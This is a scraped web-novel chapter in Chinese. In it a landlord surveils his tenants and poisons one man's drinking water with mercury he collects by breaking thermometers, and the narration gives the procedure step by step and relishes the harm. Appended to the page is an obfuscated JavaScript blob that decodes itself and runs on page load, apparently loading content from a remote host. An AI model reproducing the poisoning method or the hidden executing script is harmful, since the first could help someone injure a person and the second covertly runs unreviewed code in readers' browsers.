返回

欢夜

首页
关灯
护眼
字体:
第一百三十七章:离开后的等待
(手机请访问 m.duxs8.com); 他哭得实在是太厉害了。

我在蓦然间觉得,他有些可怜。

一个四十岁的中年男人,半夜对着一个石像哭哭啼啼的。

哭泣声持续了半个小,终于停了下来。

我以为,他会像昨晚一样,在地板上哭泣着睡着,然后一整夜都呆在这里。

但是,出乎意料的,他站了起来,像是从悲痛中挺了过来,安静地换了衣服。

大半夜的,他就这样出门了。

他是去哪了?他不清楚。

他什么时候回来?我也不知道。

我看着监控里空荡荡、黑乎乎的,觉得无趣,就也关了我电脑,睡去了。

……

一直到天亮,都没有在看到易九天回来了。

楼下的租客里,沈丽红早上醒来,又让张建国对着自己的身体,用舌头来了一发,而张建国也无怨无悔地来了。

而林浩然和余梦琳,估计是昨晚做得太尽兴了,早上就穿衣服洗脸,早早地离开了。

李大鹏没出门,刘风依旧是骑着三轮车出去了。

接着,我又等到了中午。

易九天还是没回来。

我想,我应该这时候再出手了。

《道法迷史》里关于宋元‘天道谴’的故事里,就讲过,在宋元‘石像开裂’和‘靡音环绕’之后,紧接着是自己做恶梦,然后喉咙失声,双眼失明。

如何让易九天做恶梦,我是真想不出办法,但是我觉得,如果他真觉得恐惧的话,应该会有噩梦出来的。

而我现在要做的,就是让他失声。

我在百度上好好搜索了一下,喝下什么东西能让人失声。

搜着搜着,莫名地找到了‘王杰被下毒致使失声……’的新闻。

这还是我第一次看到这新闻。

要知道,作为一个三十多岁的男人,我少年时候,听王杰的歌最多了。

记得当时港区南方工厂打工,买了个随身听,里面放着全是王杰的歌,《一场游戏一场梦》,《谁明浪子心》《忘了你忘了我》……

可以说,在九十年代,王杰的地位,比如今的周杰伦还要火爆,毕竟那时候的歌星不像现在的这么多……

但是,好像从二十一世纪初,突然王杰就没了消息,所有新闻报纸再也找不到他了。

逐渐的,直到现在我都三十多岁了,我也很少听歌,也基本没关注过王杰了。

现在一搜新闻,直接震惊了。

敢情,王杰在二零零四年的时候,被人给下毒了!

这一毒,使得他喉咙的肌肉全部坏死,根本说不出话来。

但是,经过五年的艰苦锻炼,在二零零九年时,才终于推出又一本专辑《我知道我一个已经过气的歌手》,宣布复出。

但是,复出之后的王杰,再也没有了之前沧桑磁性的嗓音,而变得低沉和沙哑。

接着,在一次采访过程中,王杰坦言,之前被人下毒,喉咙肌肉全部坏死,刻苦锻炼才恢复过来,但也只恢复了六成。

看到这个消息,我先是无限的悲伤。

毕竟他是我少年时的偶像,曾经沉醉在他的歌声中难以自拔,但没想到他竟然经历这种惨无人道的折磨。

但是,悲哀过后,我却又欣喜起来。

因为我发现,我完全可以指葫芦画瓢地,把这件事套在易九天身上啊。

我继续搜着,了解到,王杰在接受采访时说,自己是喝下了一杯含有‘汞’的饮料,接着就开始喉咙肿胀发痛,肌肉坏死。

汞,不就是上学时候学的水银吗?

喝下这玩意,就能让喉咙的肌肉坏死了?

于是,我又在网上搜着,哪里能买到水银。

可是,悲剧的是,这种剧毒的化学药品,市场上根本没有出售。

就在我决定放弃的时候,突然发现一个转机。

好像以前用过的体温测量计,另一个别名,就是‘水银温度计’吧?

就是小时候发烧感冒了,把水银温度计别在腋下,过几分钟再拿出来,就可以看出是否发烧了。

网上说,只有多买一些水银温度计,把温度计打碎了,所流出来的液体,就是水银了。

但是,每个温度计所含的液体都非常少,所以必须多打一些。

想到这里,我立马去了远处的药店。

一个温度计是二十块钱,我足足花了二百块,买了十个。

拿回家后,我戴上手套,小心翼翼地把温度计放在杯子里,然后挨个掰断。

每个温度计里,都流出了一点点的水银。

十个温度计的水银,凑在一起,才算勉强有一定的量。

我把被掰断的温度计,扔到了垃圾桶了,然后左手拿着杯子,小心翼翼地下楼了,

来到易九天的房间门口,我右手打开了门。

接着,把这些水银,倒在了他的桶装水里。

我并不知道,当年毒哑王杰的水银和饮料的比例是多少,而网上也根本查不到这些东西,所以我只好凭着感觉,倒进去了。

然后,我就只静等着易九天归来了。

可是,一直到天黑,易九天还没有回来。

这一整夜过去,只有易九天的屋子里,是空荡荡的。

沈丽红和张建国回来后,依然跟昨晚一样,沈丽红对张建国完全是冷暴力,一句话也不说,只有在睡觉的时候,才冷冷的一句‘用你的舌头来安慰我’。

我算看出来了,现在的沈丽红,对张建国唯一的留恋,就是他的舌头吧。

如果没有他的舌头强大的功力,恐怕现在沈丽红早出轨了。

而因为嫖娼罪被抓的张建国,因为愧疚感,也不敢顶撞沈丽红……或者说,即使是嫖娼罪之前,张建国对沈丽红也是言听计从的。

再反过来看林浩然和余梦琳,反倒是平常不过的生活,吃完饭后亲密地搂抱在一起,然后各自玩着手机,在床上翻云覆雨。

到后半夜时,这两个对门邻居,都睡着了。

这个易九天,还没回来。

我已经有些着急了。

我十分渴望看到,这个易九天喝下带有水银的毒素后,会是什么样子呢?

当他的喉咙肿胀变哑时,会不会彻底发疯呢?

哈哈,想想就兴奋啊。

但是,一直到天亮,易九天都没有回来。

我忽然觉得,事情没那么简单了。

一大早,起了床,我决定亲自去看看这个易九天,是不是还在那条灵寿街里做风水骗子呢。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();